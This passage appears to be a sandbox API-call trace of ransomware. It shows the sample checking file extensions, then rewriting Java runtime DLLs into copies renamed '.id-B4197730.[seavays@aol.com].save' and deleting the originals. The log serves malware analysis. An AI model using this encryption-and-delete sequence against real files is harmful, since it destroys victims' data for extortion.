returned 1 [0075.850] lstrlenW (lpString=".bz2") returned 4 [0075.850] lstrcmpiW (lpString1=".bz2", lpString2=".ins") returned -1 [0075.850] lstrlenW (lpString=".7z") returned 3 [0075.850] lstrcmpiW (lpString1=".7z", lpString2="ins") returned -1 [0075.850] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0075.850] lstrlenW (lpString=".dbf") returned 4 [0075.850] lstrcmpiW (lpString1=".dbf", lpString2=".ins") returned -1 [0075.850] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0075.850] lstrlenW (lpString=".1cd") returned 4 [0075.850] lstrcmpiW (lpString1=".1cd", lpString2=".ins") returned -1 [0075.850] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0075.850] lstrlenW (lpString=".jpg") returned 4 [0075.851] lstrcmpiW (lpString1=".jpg", lpString2=".ins") returned 1 [0075.851] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0075.851] lstrlenW (lpString="npdeployJava1.dll") returned 17 [0075.851] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0075.851] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=1156672) returned 1 [0075.851] CloseHandle (hObject=0x2ec) returned 1 [0075.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll")) returned 0x20 [0075.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0075.852] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0075.852] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.852] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.852] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0075.852] GetLastError () returned 0x0 [0075.852] ReadFile (in: hFile=0x2ec, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0075.886] WriteFile (in: hFile=0x34c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0076.261] ReadFile (in: hFile=0x2ec, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x1a650, lpOverlapped=0x0) returned 1 [0076.273] WriteFile (in: hFile=0x34c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x1a660, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x1a660, lpOverlapped=0x0) returned 1 [0076.280] ReadFile (in: hFile=0x2ec, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.280] WriteFile (in: hFile=0x34c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xf6, lpOverlapped=0x0) returned 1 [0076.281] SetEndOfFile (hFile=0x34c) returned 1 [0076.281] CloseHandle (hObject=0x34c) returned 1 [0076.281] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.281] SetEndOfFile (hFile=0x2ec) returned 1 [0076.283] CloseHandle (hObject=0x2ec) returned 1 [0076.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0076.283] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll")) returned 1 [0076.284] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0076.284] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0076.284] lstrlenW (lpString=".doc") returned 4 [0076.284] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.284] lstrlenW (lpString=".docx") returned 5 [0076.284] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0076.284] lstrlenW (lpString=".pdf") returned 4 [0076.284] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.284] lstrlenW (lpString=".xls") returned 4 [0076.284] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.284] lstrlenW (lpString=".xlsx") returned 5 [0076.284] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0076.284] lstrlenW (lpString=".ppt") returned 4 [0076.284] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.284] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0076.284] lstrlenW (lpString=".zip") returned 4 [0076.284] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.284] lstrlenW (lpString=".rar") returned 4 [0076.284] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.284] lstrlenW (lpString=".bz2") returned 4 [0076.284] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.284] lstrlenW (lpString=".7z") returned 3 [0076.285] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.285] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0076.285] lstrlenW (lpString=".dbf") returned 4 [0076.285] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.285] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0076.285] lstrlenW (lpString=".1cd") returned 4 [0076.285] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.285] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0076.285] lstrlenW (lpString=".jpg") returned 4 [0076.285] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.285] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0076.285] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0076.285] lstrlenW (lpString=".doc") returned 4 [0076.285] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.285] lstrlenW (lpString=".docx") returned 5 [0076.285] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0076.285] lstrlenW (lpString=".pdf") returned 4 [0076.285] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.285] lstrlenW (lpString=".xls") returned 4 [0076.285] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.285] lstrlenW (lpString=".xlsx") returned 5 [0076.285] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0076.285] lstrlenW (lpString=".ppt") returned 4 [0076.285] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.285] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0076.286] lstrlenW (lpString=".zip") returned 4 [0076.286] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.286] lstrlenW (lpString=".rar") returned 4 [0076.286] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.286] lstrlenW (lpString=".bz2") returned 4 [0076.286] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.286] lstrlenW (lpString=".7z") returned 3 [0076.286] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.286] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0076.286] lstrlenW (lpString=".dbf") returned 4 [0076.286] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.286] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0076.286] lstrlenW (lpString=".1cd") returned 4 [0076.286] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.286] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0076.286] lstrlenW (lpString=".jpg") returned 4 [0076.286] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.286] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0076.286] lstrlenW (lpString="eula.dll") returned 8 [0076.286] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0076.372] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=136256) returned 1 [0076.372] CloseHandle (hObject=0x36c) returned 1 [0076.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll")) returned 0x20 [0076.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0076.372] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0076.373] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.373] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.373] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0076.373] GetLastError () returned 0x0 [0076.373] ReadFile (in: hFile=0x36c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x21440, lpOverlapped=0x0) returned 1 [0076.378] WriteFile (in: hFile=0x398, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x21450, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x21450, lpOverlapped=0x0) returned 1 [0076.382] ReadFile (in: hFile=0x36c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.382] WriteFile (in: hFile=0x398, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xe4, lpOverlapped=0x0) returned 1 [0076.382] SetEndOfFile (hFile=0x398) returned 1 [0076.382] CloseHandle (hObject=0x398) returned 1 [0076.383] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.383] SetEndOfFile (hFile=0x36c) returned 1 [0076.384] CloseHandle (hObject=0x36c) returned 1 [0076.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0076.385] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll")) returned 1 [0076.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0076.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0076.385] lstrlenW (lpString=".doc") returned 4 [0076.385] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.385] lstrlenW (lpString=".docx") returned 5 [0076.385] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0076.385] lstrlenW (lpString=".pdf") returned 4 [0076.385] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.385] lstrlenW (lpString=".xls") returned 4 [0076.385] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.385] lstrlenW (lpString=".xlsx") returned 5 [0076.385] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0076.385] lstrlenW (lpString=".ppt") returned 4 [0076.385] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.385] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0076.385] lstrlenW (lpString=".zip") returned 4 [0076.385] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.386] lstrlenW (lpString=".rar") returned 4 [0076.386] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.386] lstrlenW (lpString=".bz2") returned 4 [0076.386] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.386] lstrlenW (lpString=".7z") returned 3 [0076.386] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0076.386] lstrlenW (lpString=".dbf") returned 4 [0076.386] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0076.386] lstrlenW (lpString=".1cd") returned 4 [0076.386] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0076.386] lstrlenW (lpString=".jpg") returned 4 [0076.386] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0076.386] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0076.386] lstrlenW (lpString=".doc") returned 4 [0076.386] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.386] lstrlenW (lpString=".docx") returned 5 [0076.386] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0076.386] lstrlenW (lpString=".pdf") returned 4 [0076.386] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.386] lstrlenW (lpString=".xls") returned 4 [0076.386] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.386] lstrlenW (lpString=".xlsx") returned 5 [0076.386] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0076.386] lstrlenW (lpString=".ppt") returned 4 [0076.387] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0076.387] lstrlenW (lpString=".zip") returned 4 [0076.387] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.387] lstrlenW (lpString=".rar") returned 4 [0076.387] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.387] lstrlenW (lpString=".bz2") returned 4 [0076.806] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.822] lstrlenW (lpString=".7z") returned 3 [0076.822] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.822] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0076.822] lstrlenW (lpString=".dbf") returned 4 [0076.822] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.822] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0076.822] lstrlenW (lpString=".1cd") returned 4 [0076.822] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.822] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0076.822] lstrlenW (lpString=".jpg") returned 4 [0076.822] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.822] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0076.822] lstrlenW (lpString="java.dll") returned 8 [0076.822] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0076.823] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=159808) returned 1 [0076.823] CloseHandle (hObject=0x2e8) returned 1 [0076.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll")) returned 0x20 [0076.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0076.823] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0076.823] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.824] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.824] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0076.824] GetLastError () returned 0x0 [0076.824] ReadFile (in: hFile=0x2e8, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x27040, lpOverlapped=0x0) returned 1 [0076.828] WriteFile (in: hFile=0x370, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x27050, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x27050, lpOverlapped=0x0) returned 1 [0076.831] ReadFile (in: hFile=0x2e8, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.831] WriteFile (in: hFile=0x370, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xe4, lpOverlapped=0x0) returned 1 [0076.831] SetEndOfFile (hFile=0x370) returned 1 [0076.832] CloseHandle (hObject=0x370) returned 1 [0076.832] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.832] SetEndOfFile (hFile=0x2e8) returned 1 [0076.833] CloseHandle (hObject=0x2e8) returned 1 [0076.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0076.834] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll")) returned 1 [0076.834] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0076.834] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0076.834] lstrlenW (lpString=".doc") returned 4 [0076.834] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.834] lstrlenW (lpString=".docx") returned 5 [0076.834] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0076.834] lstrlenW (lpString=".pdf") returned 4 [0076.834] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.834] lstrlenW (lpString=".xls") returned 4 [0076.834] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.834] lstrlenW (lpString=".xlsx") returned 5 [0076.834] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0076.834] lstrlenW (lpString=".ppt") returned 4 [0076.834] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.834] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0076.834] lstrlenW (lpString=".zip") returned 4 [0076.834] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.834] lstrlenW (lpString=".rar") returned 4 [0076.834] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.835] lstrlenW (lpString=".bz2") returned 4 [0076.835] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.835] lstrlenW (lpString=".7z") returned 3 [0076.835] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.835] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0076.835] lstrlenW (lpString=".dbf") returned 4 [0076.835] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.835] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0076.835] lstrlenW (lpString=".1cd") returned 4 [0076.835] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.835] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0076.835] lstrlenW (lpString=".jpg") returned 4 [0076.835] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.835] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0076.835] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0076.835] lstrlenW (lpString=".doc") returned 4 [0076.835] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.835] lstrlenW (lpString=".docx") returned 5 [0076.835] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0076.835] lstrlenW (lpString=".pdf") returned 4 [0076.835] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.835] lstrlenW (lpString=".xls") returned 4 [0076.835] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.835] lstrlenW (lpString=".xlsx") returned 5 [0076.835] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0076.835] lstrlenW (lpString=".ppt") returned 4 [0076.835] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.835] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0076.835] lstrlenW (lpString=".zip") returned 4 [0076.836] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.836] lstrlenW (lpString=".rar") returned 4 [0076.836] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.836] lstrlenW (lpString=".bz2") returned 4 [0076.836] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.836] lstrlenW (lpString=".7z") returned 3 [0076.836] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.836] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0076.836] lstrlenW (lpString=".dbf") returned 4 [0076.836] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.836] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0076.836] lstrlenW (lpString=".1cd") returned 4 [0076.836] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.836] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 47 [0076.836] lstrlenW (lpString=".jpg") returned 4 [0076.836] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.836] lstrcmpiW (lpString1=".exe", lpString2=".save") returned -1 [0076.836] lstrlenW (lpString="java.exe") returned 8 [0076.836] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), 